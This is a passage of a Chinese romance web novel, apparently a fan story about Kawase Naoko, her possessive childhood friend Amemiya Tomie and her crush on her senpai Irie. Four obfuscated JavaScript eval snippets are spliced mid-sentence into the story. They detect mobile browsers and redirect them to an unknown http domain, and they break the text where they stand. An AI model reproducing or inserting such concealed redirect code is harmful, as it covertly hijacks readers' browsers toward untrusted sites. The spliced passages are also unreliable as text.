看起来没有要道歉的意思，她悻悻地转回了头。 这天上午他就没有从桌上抬起头，始终昏睡着，教室里的同学们都三三两两结伴去吃午餐，只剩零星几个还在原地盯着这边的动静。 就算再讨厌，奈绪子也没有想把他饿死的意思： “雨宫君……雨宫君？” 等了一会儿，也没等到他的回应。 “雨宫君，你饿了吗？” 没有回答。 她正准备独自到天台用餐，但这时他忽然睁开眼，定睛望着她： “川濑奈绪子，你很烦人知道吗？看不出来我不想要和你一起吃午饭吗？” “……” 她瞪大了眼，沉默了半秒，才愣愣道：“好、好吧，我还以为你是太困了。” 见她要走，他又出声喊住她：“你要到哪里去？” “我饿了，想去天台吃午餐。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706473|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雨宫的表情有一瞬间变得很难看，他低声骂了一句什么，站起身来。 奈绪子忙问：“你也要吃吗？那我还能去天台吗？” 他没回答，反倒是一把紧抓住她的手腕。 奈绪子被他拖着疾走了两步，嘴里还在问：“雨宫君，你不是不想要和我一起吃吗？我可以到食堂吃的，你先松开我的手啊……” 最终他们还是回到了这个小天台，雨宫坐在她对面，用那双浓黑的眼睛盯着她。 她这下哪里还有吃饭的胃口？ “要不然，我还是到食堂去吧？”她小心翼翼地抬起眼问。 “哈，你到底是真傻还是装傻？” “我不傻啊。” 两人大眼瞪小眼几秒，雨宫突然露出一个微笑：“奈绪子，你可真够厉害的。” 他起身离开，徒留奈绪子不知所措地坐在原地，焦虑地吃了一大口饭。 雨宫这一整天都保持这样对她的态度，连喝口水都要被他暗戳戳地讽刺两句。 下午放学的时候，雨宫照常到球场打球，走之前还不轻不重地瞥了她一眼，也不知道是什么意思。 是让她不要再等他吗？ 入江怜央一般不会连着两天到藏书室去，所以奈绪子干脆留在教室里写试卷。 一张试卷写完，也差不多到了平时雨宫结束的时间。 只是他还生着气不是吗？ 奈绪子不知道自己应不应该等他。 纠结了一会儿，她绕到便利店买了瓶水，准备给他送去，顺便试探一番。 她刚走进运动场，雨宫就像是有所感应，朝她的方向投来一眼，又淡淡地收回了视线。 被他扫过的人群爆发出一阵欢呼，不知道的，还以为他们在追偶像呢。 不过雨宫富江，大概也跟人气idol差不多吧。 从球场里走过来，雨宫却只平静地忽略了她，也破天荒地没有接过她手里的水，还用一种冷酷的语气对她说： “让开。” 奈绪子反射性地后退了一步，又被他冷瞥了一眼。 他背起自己的背包，被众人簇拥着往外走，理也没理她。 喂，雨宫君这家伙。 昨天下午的事情明明是他做错了吧？ 怎么却好像在对她发脾气？ 踢着石子往家里走的时候，奈绪子还觉得心里堵得慌，在心里暗暗咒骂雨宫。 但是很快，她就没了这种心情。 因为身后总传来某种轻微的脚步声，不远不近，不轻不重。 这还是第一次在独身回家的路上遇见尾随的变态呢……！ 她屏住呼吸，掩着唇疾走两步，那个尾随者也迅速跟了上来。 奈绪子再也装不了云淡风轻，边迈开腿往另一条大道跑，边泪眼朦胧地给雨宫打电话。 “川濑酱？是你吗？” 不远处传来一道如同天籁的温柔嗓音，入江怜央那双含着忧虑的眼睛望着她：“是发生什么糟糕的事情了吗？” 她回首看了一眼空荡荡的街道，惊魂未定：“有人跟踪我……好可怕啊，入江前辈。” 脸颊一暖，一块带着淡淡香味的手帕帮她擦干净了眼下的泪痕。 “什么人也没有呢。川濑酱也许是看错了。” 5. 第五章 “我没有看到他……但是我听见了他的脚步声，真的！还有，还有……” 奈绪子还想说些什么，头顶就落下一只温暖的手掌，拍了拍她的后脑勺。 入江轻柔地安抚：“没关系，好像已经被吓跑了，川濑酱放下心好了。不过川濑酱也住在这附近吗？否则怎么会出现在这里？” 她是个典型的单线程，脑袋同时只能处理一件事情，被他这么一打岔，很快就忘了刚才的事。 “我就住在那边，离这里不太远呢。” “这样啊，看来我们很有缘，两家离得很近哦。如果川濑酱实在放心不下的话，以后和我同行也可以。” 笑意吟吟的前辈，此刻身后简直像展开了一双天使的翅膀。 她几乎喜极而泣：“那实在是太好了！不过，我还有一个同行者。” “是雨宫君吗？” “诶，入江前辈也知道他吗？”话说出口，她就意识到自己犯傻了，整个上川就没有人不知道雨宫富江吧。 就连卖鱼的小贩听说他们是雨宫的邻居，都会给多塞两条小鱼的。 前辈笑着点点头：“雨宫君很有名哦。不过，我不太喜欢社交，所以还从没有见过他本人呢。” 像雨宫君这种「超人気者」，没见过他本人似乎有些说不过去。 不过想到他出行时那挨挨挤挤的人群，同校三年没见过他的脸，也是可以理解的了。 如果不是青梅竹马，说不准她到今天也没认识雨宫富江这号人物呢。 “那可是好事啊。” 雨宫君本人有什么好见的，奈绪子暗想，他就是个没礼貌的笨蛋。 “不聊这些了。川濑酱的家是这个方向吗……小心。”正说着，就不知道从哪里突然窜出来一个飙车党。 眼见着就要撞上她，幸好被入江怜央及时拉了一把。 她栽进了入江的怀里，脸贴在他干净温暖的制服上，手也被他紧紧握着。 不过一秒，她的脸就红透了。 入江怜央也愣住了，两人相拥在街头，好一会儿，他们都没了动作。 直到她忍不住动了动发麻的腿：“入江前辈……” “我们……我们出发吧，不然天色要晚了。” “好……” 入江没有把手抽出去，奈绪子也没提醒，他们心有灵犀地享受着这一刻的青涩与美好。 她不自觉放慢了脚步，跟在入江身后半步，踩着他在路灯下的影子。 真是温柔的前辈啊，比雨宫君要好太多了。 “我家就在前面，今天谢谢你了，入江前辈。” 停在川濑家前的路口，两只相握的手才分开。 入江在她发顶揉了揉：“面对我的时候，川濑酱不那么客气，也可以。” 没等她反应过来，他就往她手里塞了一张纸条，上面写着一串社交软件的联络号码。 “晚上联系哦，川濑酱。我会很期待的。” 奈绪子的脸烫得可以煎鸡蛋，目送入江怜央清瘦的身影消失在街角。 “怎么，人都走远了，还要再看吗？” 身后传来一道冰冷得刺耳的声音，还有属于雨宫君的熟悉的香气。 “你、雨宫君你都看到了吗？”她捂着脸，“糟了，明天要怎么面对入江前辈啊——好害羞啊，我今天都做了些什么——” 雨宫富江的人生经历干净得可怕。 他从没经历过什么爱别离、怨憎会、求不得，自然也不知道奈绪子这是在发什么疯。 但是看到这些场景，他知道，他感到本能的不爽。 “哈，现在开始装了吗？我在街那头的时候，就能看见你们两个恬不知耻地牵手了，就像春季发情的狗一样——” “真是粗鲁的比喻啊，雨宫君。”她暗暗数落，“这就是你完全比不上温柔的入江前辈的理由。” 他气得发笑：“所以我比不上一个刚认识几天的癞皮狗吗？” 眼见他的用词越发恶劣，奈绪子无奈地打住了他。 “我对你和入江前辈是不同的感情，完全没办法比较的。” “哪里不同了？我和那家伙难道有什么不一样吗？” “就是……就是不一样嘛……”说着说着，少女的脸渐渐红了，将他往屋里推，“总之，你别再问了。” “为什么露出这种恶心的表情？” 她在雨宫腰上掐了一把，脸很红，不知是羞的还是恼的：“让你别再问了啊！” 雨宫心里那股无名火烧得更旺，甚至产生了某种「摧毁」的欲望。 奈绪子并不知晓他的想法，即便知晓了她也不在乎。 怀着少女心事，她脸红心跳地加上纸条上那个社交账号，忐忑又羞涩地打上了【A入江前辈～[爱心]】这样可爱的备注。 【川濑酱安全到家了吗？ 【没再遇上什么奇怪的人吧？】 连关心的话语都这么温柔，真不愧是入江前辈。 【没有啦，今天非常感激前辈你呢。】 【是我的荣幸哦。 【明天也一起走吧？】 【当然！】 奈绪子看得心跳加速，真是温柔的入江前辈啊。 聊天就断在这里，她切出聊天框，浏览着对方的社交动态。 大多数是在分享看过的书，有时候还有随手拍的一些花花草草小动物。 明明是再无聊不过的内容，她却看了一遍又一遍，甜蜜地抱着手机入睡了。 往楼下看的时候，奈绪子发现了一道站在她家门口的可疑的人影。 原以为是消气的雨宫君，但定睛一看，她才发觉居然是入江前辈！ 开心得快要死掉了…… 她匆匆啃了几口三明治，就急匆匆忘了楼下跑。 “入江前辈！让你等久了吗？” “没有哦，我也刚到呢。我突然等在这里，让川濑酱受惊了吧？” 清晨的暖光照在入江前辈脸上，给他镀了层温柔的金色，看得她连呼吸都不由得放轻了。 真希望时间可以停止在这一刻啊。 奈绪子坠入爱河了。 以至于课间时也忍不住捧着脸傻笑，写笔记时，笔尖落下，出现的却是“入江怜央”几个字。 没一会儿，笔记本上就写了满满一页入江的名字。 正写第三十二遍时，笔记本却被一只手粗暴地抽了出去。 “你最好是在诅咒他，奈绪子。” 她抬起头，就被雨宫冰冷的视线冻得一哆嗦。 “怎么可能……雨宫君，你到底为什么对入江前辈这么抵触，他明明是个很温柔的人。难道说，你是在嫉妒吗？” “嫉妒？”他冷笑了一声，但不知道怎么的，却没有反驳。 “嫉妒前辈的温柔啊，这可是雨宫君你这辈子都学不会的美德。” 说完，她就感觉几道不太友好的视线投落到自己身上。 “随你怎么想。”他把那张纸撕下，揉成一团，扔进了垃圾桶，表达了自己强烈的不满，“这是最后一次机会了，奈绪子。我说过，你不准靠近他。” 原本就对他糟糕的态度感到不舒服的奈绪子，此刻终于爆发了：“雨宫君，你实在无权管我这么多不是吗？” 她甚至顾不上是不是会被雨宫君的爱慕者们记恨。 “我喜欢入江前辈，根本没有办法远离他！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706474|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喜欢？” 原以为雨宫君会再度威胁她一番，谁料他却像是死机似的怔住了，甚至连被她推开，也没反应过来。 “总之，这和雨宫君你一点关系都没有，别再妨碍我了。” 气冲冲地跑到小花园，她才后知后觉的有些羞耻。 怎么能说这种话……喜欢入江前辈什么的…… 也不知道会不会传到前辈的耳朵里去。 会不会传到前辈的耳朵里去，这不确定；确定的是，这一定在班级里传开了。 因为光是一个上午的功夫，她就被人明里暗里地撞了几次肩膀。 尽管很想依赖雨宫君，但她这次无论如何也无法咽下那口气。 在没道歉以前，她也不想再搭理那家伙了。 于是她拿着便当，约了入江前辈一起在食堂用饭。 原本一切都很好，他们还一起分享了彼此的食物，只是五分钟以后，一道颀长的人影突然在入江怜央身后的位置落座了。 他面对着奈绪子，将饭盒重重地砸到桌上，食堂里的人都下意识顺着他的视线，望向奈绪子。 “……” 又是雨宫君。 他指了指入江怜央，面无表情地说了句什么。 尽管听不见他的声音，奈绪子也轻而易举地读懂了他的意思： “让他滚。” “这不可能！”她下意识反驳，话说出口，才发觉现在场合不太对。 入江抬起头，温柔地注视着她：“嗯？发生什么事了吗？” “不是！”她慌忙解释，“没什么，只是刚才飞过一只苍蝇。” “嗯？那好吧。” 等入江又埋头用饭，奈绪子才着急地朝雨宫的方向做了个“快走”的姿势。 雨宫当然不想走。 当他从桌上将那个没动过的饭盒拿起时，奈绪子就猜到了，他一定是准备把它扣到入江前辈的脑袋上。 雨宫君这个笨蛋！ “入江前辈，抱歉，我还有些事，得先离开了——” 她只好匆匆站起身，赶过来把暴怒的雨宫拖走。 等入江抬起头，看见的就是渐渐把她淹没的人群。 和入江前辈的约会就这样泡汤了。 但雨宫君非但没有任何悔意，甚至为拿捏住她而感到沾沾自喜： “我说过，奈绪子，我会让你离他远点的。” 那股无名火又在胸腔里烧了起来。 今天雨宫富江学了个崭新的词，叫作“喜欢”。 他承认，和奈绪子闹脾气，原本是想「惩罚」她。 可他忘了，原本他接近奈绪子，就是因为她是个迟钝的笨蛋；也正因如此，她才显得与众不同。 以此报复她显得很可笑，因为事实上被报复的人是他自己。 雨宫几乎把脸贴到电脑屏幕去，鼠标落在某个暧昧的字眼上： 【女生说喜欢丑男什么意思？】 【喜欢的含义？】 【喜欢一个人一般会做什么？】 【喜欢一个人的表现。】 经过一个晚上的求知，他已经完全明白了，毕竟他总是学什么都快。 奈绪子是「恋爱」了。 而他对奈绪子，很可能也不只是「朋友之爱」。 这个认知让他感到有些意外，但细想又在意料之中。 毕竟离开他，奈绪子要怎么活呢？ 其实他不仅搞清楚了「喜欢」这两个字的含义，也触类旁通明白了些别的，现在欠缺的正是与他一起实践的人。 而这个人选当然只会是川濑奈绪子。 半夜三点四十分，奈绪子收到了他发来的邮件： 6. 第六章 【奈緒子が好きです。】 喜欢奈绪子。 奈绪子把这当成他的服软，但态度相当坚定： 【你需要做的是向入江前辈道歉，而不是对我摇尾乞怜。】 为了躲避雨宫君，第二天她特意提前了二十分钟上学，入江前辈没有多问为什么，只温柔地接受了她的建议。 “正好，我也需要更多的时间学习呢。”说着，他将一瓶温热的草莓牛奶插上吸管递给她，情愫都藏在心照不宣的笑容底下。 自从知道她爱喝这种甜腻腻的东西，他总会时不时投喂一些。 但走到半道，她就收到了雨宫疯狂地打来的电话，以及恼羞成怒的威胁信息： 【你想死了吗奈绪子？】 【为了躲开我不惜早起吗？】 【你和那个丑男待在一起吗？】 【我是不是说过，是最后一次机会了？】 【你给我等着，别让我追上你。】 她不由得哆嗦了一下，偏头催促入江：“前辈，我们还是快走吧……后面好像有狗在追。” “嗯？” 不等他问些什么，她拉着前辈的手就跑，等气喘吁吁地在学园门口停下，她才双手合十不断道歉： “雨宫君似乎生气了，前辈，看来以后我们没办法同行了。雨宫君总是这样，很自私……完全不会考虑别人的想法……” 说着说着，想到以前的二三事，她的眼圈都有些湿润了。 眼前伸过来一只温暖的手，用手帕帮她擦了擦眼泪：“没关系哦，川濑酱，如果需要我的话，我随时都在。不过，雨宫君对你多少有些越界了哦。” ……怎么会有像前辈这么温柔的人！ 她想着怎么躲避雨宫君的问询，自然也没注意到入江眼里一闪而过的暗光。 奈绪子惴惴不安地坐到了座位上。 但转念一想，她没有做错什么不是吗？ 明明该生气的人是她才对。 事实上不过三四分钟，雨宫君就从门外走了进来。 似乎是因为走得着急，他的呼吸有些急促。 “你想死了吗奈绪子？” 闻言，她刚刚才硬起的腰杆又塌了下去。 自顾自抛弃他这件事，确实是她不对。 “没有这回事！我已经和前辈说清楚了，以后只会和雨宫君你同行，足够了吧。” “不够，你给我离他远一点。” “好吧，好吧。不过，你也得对前辈客气一点。”只是随口答应，毕竟她早就和入江前辈约好，以后放学在藏书室约会的。 “我有多客气，完全取决于奈绪子你的态度啊。” 明明是再美好不过的恋爱，因为可恶的雨宫君的缘故，却搞得像是什么犯罪分子接头。 她也不敢与前辈做什么太亲昵的动作，因为雨宫君那狗鼻子，完全可以闻得出来。 但是看到前辈的时候，她又觉得自己无论做什么都是能够接受的了，因为能和前辈待在一起，简直是太幸福了。 欣然接受她这么多无理的要求，入江前辈一定也对她……对她有几分喜欢吧？ 想到这些，奈绪子就觉得快要幸福得冒泡。 不过，最近雨宫君变得怪怪的。 具体表现在，总是莫名其妙地突然抱住她，有时候对视，还会心虚地移开视线。 虽然说以前他也没有什么保持距离的意识，但是像这样大庭广众之下牵手多少有些过分了吧！ 她都能想象到行人们的内心活动，大概会以为他们是情侣，然后觉得雨宫君眼光很烂吧。 虽然奈绪子不至于产生自卑这种情绪，但雨宫富江这种破坏次元壁的怪物，的确和普通人类不太相配。 她的手忍不住挣了挣：“喂，雨宫君，你快松开手啊！” “不、要。”他伸出另一只手搭在她发顶，被她作势咬了一口，“你和那个丑……那个谁不也牵手了吗？奈绪子不能有失偏颇，他能做的我也得做。再说了，这样不好吗？我喜欢奈绪子你手心软软的感觉。” 说着，他还捏了捏她的手。 “不好。我说了这不一样，而且热死了！赶紧给我松开，还有，不准摸我的头！” 她愤怒地把雨宫的手拍开了，但他还在她身后虎视眈眈，她几乎能感觉到雨宫审视着她后脑勺的视线。 “奈绪子很差别对待呢。” “哦——”她拉长了声音，被他伸手掐住了脸。 他似乎很疑惑：“奈绪子怎么没有脸红呢？” “喂，很痛啊！” 雨宫君不知道突然发什么疯，在她脸上掐了又揉，揉了又掐，等她的脸变得又红又肿，才满意地松开了她。 “这样看上去顺眼多了，我们走吧，奈绪子。” 这简直是无妄之灾。 她忍无可忍，往他腰上重重地掐了一把，但很显然这不是一次成功的报复。 因为她反而被雨宫抓住了手，稳稳牵住了。 见鬼了。 雨宫君是不是被什么脏东西上身了？ 奈绪子心里毛毛的。 上川学园有个很有名的巧克力节，具体就是学生们可以在这一天给老师或者同学赠送巧克力，以表达自己的感恩或思慕之情。 从上个礼拜起，奈绪子就开始为此准备了。 她亲手做了块爱心形状的巧克力，准备在这一天与入江前辈告白。 是的，告白。 其实她也隐隐有些预感，入江前辈大概也在等待着这个千载难逢的机会。 在巧克力节这天，刚结束午休，从天台回来时，她果然在课桌上发现了一块白巧克力和一张纸条。 这一定是入江前辈送给她的。 与旁边雨宫君桌上成堆的情书比起来，简直就是泾渭分明。 雨宫富江不会把别人的心意放在心上，这些礼物的结局只有被丢进垃圾桶。 不过这不是她应该操心的，她只在乎前辈。 她三步并作两步走上前，但还没触碰到那封信，一只骨节修长的手先伸过来，把巧克力和纸条一起拿走了。 “巧克力，真俗啊。”雨宫捏着那份原本属于她的礼物，冷冷评价道。 他坐在她的课桌上，居高临下地盯着她，问：“奈绪子你就喜欢这种甜腻腻的东西吗？” 怕雨宫突发奇想去看那封信，她腾的一下脸红了，踮起脚想从他手里把信抢回来。 “喂，雨宫君，快还给我，这是我的。你明明有那么多不是吗？” 雨宫轻轻抬起手，奈绪子踮起脚够了几次，却无论如何也够不着，只好退而求其次去去挠他的手臂。 “你的？奈绪子的就是我的不是吗？有什么分别呢。” “别胡说了雨宫君，快还给我啊。” 他微微往后坐了点，在奈绪子崩溃的视线中，看着纸条念出声：“‘奈绪子酱’，喊得很亲密啊。连我都没有这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706475|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊过奈绪子你呢。” “你还给我！”她又羞又恼，脸眼圈都红了一半。 雨宫没把她的张牙舞爪放在眼里，单手擒住她的双腕：“话说回来，奈绪子，我什么时候允许你收下别人的东西了吗？” 奈绪子气得踢了他一脚，他被踢得后撤了一下，身后课桌上堆得摇摇欲坠的巧克力就洋洋洒洒地落到地上，发出乒乒乓乓的声音，场面很是壮观。 她压低了嗓音：“我管你允许不允许呢，快还给我啊混蛋！” “啧。”头顶传来雨宫的一声轻嗤，他空出一只手，随手给她擦了把不知道什么是就流出来的眼泪。 她这才发觉两人之间的距离近得可怕，她的腰几乎要贴上他的大腿。 “你不准收。” “凭什么？！” “你这是青春叛逆期吗？奈绪子，我发现你最近很不听话。所以明明是巧克力节对吧。为什么你只给别人送，而不给我送呢？” 奈绪子以前没有别的朋友，所以从没有理会过这个节日，当然也不会给他送什么巧克力。 这么说起来，似乎是她不占理。 但她正在气头上，说什么也不可能服软，所以开始翻旧账，雨宫惹她生气的事。 “不是绝交了吗？上礼拜明明是雨宫君你没有理我吧……不和我同行，拒绝和我用午餐，还有，不喝我送的水，之类的。” “绝交？我什么时候说的呢。” “你不是不理我吗？我以为那就是要绝交的意思，再说了，我最近也没有时间理你。”她妄想趁他不注意，踮起脚把纸条抢回来，但被他轻巧地抬手躲开，像逗猫一样。 他游刃有余地抬手放下，逗弄着她：“绝交这两个字只能由我提出，奈绪子说的可不算数哦。不过，你没时间理我，却有时间理那个丑八怪吗？” “说了不是丑八怪！入江前辈是这个世界上最温柔的男子。” “如果他把你卖了，我一定会为此鼓掌的。尖嘴猴腮的，能是什么好人？” 奈绪子很快忘了巧克力的事，专心与他掰扯：“并没有尖嘴猴腮好吗？前辈皮肤很白，嘴唇也很性感，像雨宫君你这种人，是不会懂的。” “哦，这样啊。”他平静地附和了一句，手却用力地撕碎那张可怜的纸条，和巧克力一起丢进了垃圾桶，“之前就和奈绪子你说过了吧？给我离他远点。” “雨宫君，你疯了？” 迎着她震惊又愤怒的视线，雨宫君的唇角咧出一个恶劣的弧度：“不希望我做更过分的事情的话，奈绪子你就乖乖听话吧。” 说着，他还捏了捏她脸颊边的软肉，大摇大摆地离开了。 雨宫君总是管这么宽…… 奈绪子情绪涌了上来，眼泪几乎要止不住，她无法压抑自己对前辈的喜欢，所以还是灰溜溜地到垃圾桶里把巧克力和纸条捡起。 还好，还好，都没有被弄脏。 怀着某种庆幸的心态，她小心翼翼地将字条展开： 【奈绪子酱，请允许我这样称呼你。 今天是个特别的日子，放学后，可以麻烦你到花园里的第二棵樱花树下吗？ 不来也可以哦，但我会一直等你的。 ——入江。】 字里行间里溢出来的温柔，和脑海里冒出来的从小被雨宫君压榨的委屈，让她不由得鼻子发酸。 入江前辈是要表白吗？ 应该是的，她有预感，他们是两情相悦。 7. 第七章 她埋头在桌肚里找了几张最漂亮的、粉红色的信纸，删删减减，写了封告白信。 雨宫君不让她做什么，她偏要做。 不过写着写着，她就忘了初衷，脸色渐渐红了。 她挑了一张写得最满意的，叠成爱心形状，放进了衣兜里。 哭得有些疲惫，她枕在自己的臂弯里，想象着入江前辈惊喜的脸，幸福地睡了个午觉。 不知道过了多久，耳边传来一阵轻微的脚步声，雨宫在她座位前停下：“还在为那个四眼丑男哭吗？” 他把一块包装更精美的手工巧克力丢在她桌上，轻咳了一声：“只是随手做的，如果想在今天收到巧克力的话，直接和我说就够了。这种小事，我也不是不能答应你。” 原来离开这么久，是捣鼓巧克力去了。 不过这附近居然有做巧克力的地方吗？ “不要。”她嘟哝了一句。 “哈，你这么快又喜欢上别的了吗？” 她握紧了怀里的巧克力：“才不是呢。我喜欢的，是入江前辈送的巧克力，而不是雨宫君你的。含义根本不一样好吗？” “是吗。”雨宫上一秒还阳光明媚的脸，下一秒就变得阴沉而狰狞，他一手按住她的肩膀，另一只手则强硬地去抢那块该死的巧克力。 奈绪子拼命挣扎着躲开，突然，她兜里掉下来一个粉色爱心形状的东西。 还没反应过来，那封信就被他弯腰捡起。 顾不上什么巧克力，她连忙去抓他的手：“别，雨宫君你还给我！” 雨宫当然不会听。 他暴力地将那封信拆开，看清上面的字，眼睛都快要冒火：“奈绪子，你想死了吗？” “才不是呢。” “哈，那你说说，这是什么？” 她破罐子破摔，怄气吼道：“情书。这是我写给入江前辈的情书。反正和雨宫君你一点关系也没有。” 雨宫原本就觉得胸腔里烧着一股无名火，这下怒极反笑，把情书按在她桌上，换了副脸面：“好啊，我们奈绪子长大了呢。也想要学坏孩子谈恋爱了吗？ “可以啊，那你就去吧。” 他看起来似乎没太愤怒。 奈绪子松了口气，但对上雨宫君黑沉沉的、倒映不出任何一点光的双眼，心里却生出点不好的预感。 她小心翼翼地试探问：“真的吗？那，可以把信还给我吗？” “当然，”话落，这个可恶的家伙干干脆脆地把信撕了个干净，“不可以。” 气死她了！ 但奈绪子却拿他一点办法也没有。 不过在她再次从桌肚里翻出粉色信封，准备写下一份情书时，雨宫君却没了反应。 她本以为她藏得很好，没让雨宫富江察觉。 但等她从洗手间回来时，却见这家伙正拿着那张薄纸细看着。 “还给我！”奈绪子感觉有两股热气从脑门上升腾起来，连忙一个箭步上前，把情书夺了回来。 他眼见着信从自己手里被她抽走，笑眯眯的：“还以为奈绪子你什么时候文采变得这么好呢，原来是抄的歌词啊。这也能打动你的前辈吗？”他发出一声意味不明的轻哼，“看来他也是个相当没有品味的家伙呢。” “……你才没有品味。” 确认他没有在这封信上做任何小动作，奈绪子才将它仔细叠成爱心形状，压在她做的巧克力底下。 不过很快她就发现，虽说包装纸有点像，但这根本就不是她亲手做的那一块。 “雨——宫——君——” “嗯？” “我的巧——克——力——呢？” “吃了。” “嗯？”奈绪子气得炸毛，“你——说——什——么——” 他理所当然：“奈绪子收下了我送的巧克力不是吗？那么你也应该给我送一块吧。” “那是你硬塞给我的，我根本就不想要！”她低声纠正，“你大可把你的破巧克力拿回去啊。” 他摊手：“我已经吃掉了。” 奈绪子崩溃地抓着头发：“那我怎么办？我下午还要向入江前辈表——你不是觉得巧克力恶心吗？为什么要吃，到底为什么要吃啊？” 雨宫用那块巧克力轻敲她的脑袋：“反正长得都一样不是吗？他又看不出来是谁做的。” “怎么会一样啊？我做的可是爱心形状……而这块是什么？圣诞帽吗？” “不是。”他捏起那份包装良好的巧克力，在她面前轻晃了晃，“我买的明明是个大粪形状。” 她又气又急：“雨宫君，你简直太幼稚了！” 可是现在去买份新的肯定来不及了，正值学园巧克力节，商店早就售罄了吧。 不过奈绪子没来得及想太多，因为她很快收到了来自入江怜央的信息： 【奈绪子酱…… 【我会一直等你的哦。】 她怎么舍得让前辈久等呢。 但刚走了两步，就被雨宫从身后拉住了。 “我陪奈绪子你一起去。”他露出一个意味不明的笑，“这种场合需要家人在场不是吗？” 看着他怪异的神情，她心里总是有种说不出来的不安。 这种不安当然并非没有来由的，因为奈绪子很快就发现了，当雨宫君迎着樱花雨走近时，入江前辈的视线根本一秒也没有落到她身上。 和其他被雨宫君迷倒的人并没有两样，入江怜央的脸上出现了某种能称之为「痴迷」和「疯狂」的神态。 雨宫似乎对此有所预料，连唇角温柔的弧度也没有变动半分： “你就是那个想和我们奈绪子谈恋爱的、冒昧的丑男吗？” 尽管对这诡异的氛围有所感应，突然听见雨宫直白的话，奈绪子还是不由得有些害羞，连忙扯了扯他的衣摆。 “雨宫君，你……” 但她话没说完，就被入江仓促而大声地打断了：“雨宫君！抱歉，我绝无此意……我和川濑只是很好的朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706476|173552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友，绝对没有除了朋友之外的任何感情……” 脸上浮起两抹酡红，他慌乱地绞着手指：“请问你是雨宫君吗……？果然和传言一样，很是俊美呢。怎么会这么晚才认识你……” 他瞪大的双眼把奈绪子吓得不轻。 反倒是雨宫轻轻把手搭在她肩上，制止她后退的脚步，低头问她：“奈绪子，你不是有话要和他说吗？” 她捏着手里的情书，抿紧了下唇。 入江怜央却像是察觉到了她将要说出口的话，连忙解释：“我对川濑你绝对没有别的意思，你快跟雨宫君解释啊！雨宫君，请你相信我，我根本对她一点意思也没有！” 奈绪子只感觉自己胸腔里传来什么东西碎掉的声音，她年少无知的情窦初开，就这样仓促地结束了。 不管是多么迟钝的人，被心上人这样当面撇清关系，都会感到伤心的吧。 “既然奈绪子你没话要说的话，我就要带你离开了哦。” 对于她的悲伤，雨宫并没有感同身受，反而摆出来一副“看吧，我早就警告过你了”的幸灾乐祸的表情，捏了捏她的脸。 “走吧，奈绪子，下次你可要记得擦亮眼睛。”他如愿牵起奈绪子的手，强硬地拖着她走了两步。 身后传来入江怜央不死心的问询声：“雨宫君，请问——请问你有恋人了吗？我可不可以——” 雨宫理也没理他，视线落在身边人气恼的脸上，并以此嘲讽她：“看啊，奈绪子，这就是你喜欢的人。不仅是个丑八怪，还是个花心的丑八怪……眼光可真差啊，奈绪子。” 也许原因根本不是出在入江前辈身上。 在这个不大的上川村镇里，奈绪子从未见过能够抵挡雨宫君的美貌的生物。 上到八九十岁的、大搞碰瓷事业的老头，下到穿着尿不湿、吐口水玩的小毛孩，就没有不为他折腰的。 就连村口那只高傲的流浪猫咪，也对他情有独钟。奈绪子喂了两个多月，它甚至都不愿意让她抚摸，却会热情而主动地蹭上雨宫君的裤脚。 他对这种太过可爱的东西充满抵触，但是即便多次被他嫌恶而冷淡地踢开，下一次猫咪还是会黏腻缠绵地贴上来。 现在入江前辈大概成了那只猫。 这样该怎么办呢？ 有雨宫君在身边，她恐怕一辈子也无法正常地恋爱和交友吧？ 啊啊啊啊啊，又生气，又对此无可奈何。 除此以外，面对这种糟糕的场景，她居然还觉得有种该死的熟悉感，就像是在遥远的过去，也发生过一样。 奈绪子想考到大城市去读大学，除了向往以外，她承认，还有点说不分明的、想躲开雨宫君的意思。 面对她的失恋，雨宫君看上去却心情很好，甚至用一种甜蜜的嗓音问正在低声啜泣的奈绪子： “啊，春日和的巧克力巴菲买一送一哦。奈绪子你要吃四个吗？” “现在谁有心情……” “双份巧克力哦。” 8. 第八章 